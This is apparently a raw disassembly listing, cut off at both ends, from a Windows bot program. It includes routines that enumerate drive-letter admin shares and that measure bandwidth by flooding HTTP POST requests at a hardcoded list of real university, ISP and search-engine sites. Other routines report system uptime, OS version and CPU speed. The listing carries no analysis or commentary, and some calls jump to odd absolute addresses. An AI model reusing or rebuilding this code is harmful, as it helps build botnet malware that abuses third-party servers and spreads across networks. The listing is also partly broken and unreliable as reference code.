		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43F298
		jb	short loc_41A321
		nop
		call	near ptr 2850000h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A

loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4D0884
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_43F588
		jmp	short loc_41A412
; ---------------------------------------------------------------------------

loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_43F560

loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B

loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43F530
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------

loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43F2C8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		call	near ptr 26907CFh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4D0824
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4D08A4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4D07CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_43910C ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------

loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]

loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------

loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx

loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7

loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]

loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4D08BC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798

loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4D08BC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx

loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax

loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax

loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax

loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------

loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi

loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------

loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi

loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------

loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi

loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43F6D0
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 26907CFh
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4E0AF0
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26D0576h
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi

loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952

loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------

loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B

loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7

loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi

loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	near ptr 2680000h
		nop
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994

loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7

loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7

loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07

loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17

loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27

loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36

loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx

loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_4429D8
		mov	[ebp+var_CC], 94h
		call	near ptr 26D0576h
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_436B7C

loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_436B78
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------

loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_436B74
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_436B70
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_436B6C
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_436B68
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C

loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_436B60

loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44

loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_43D124
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4D0704
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax

loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4D0864
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4D07DC
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------

loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 2670A44h
		nop
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43F9C4
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2730000h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2860000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43F8E8
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4D090C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4D06E8
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43FA44
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43FA3C
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------

loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43FA38

loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------

loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43FA34
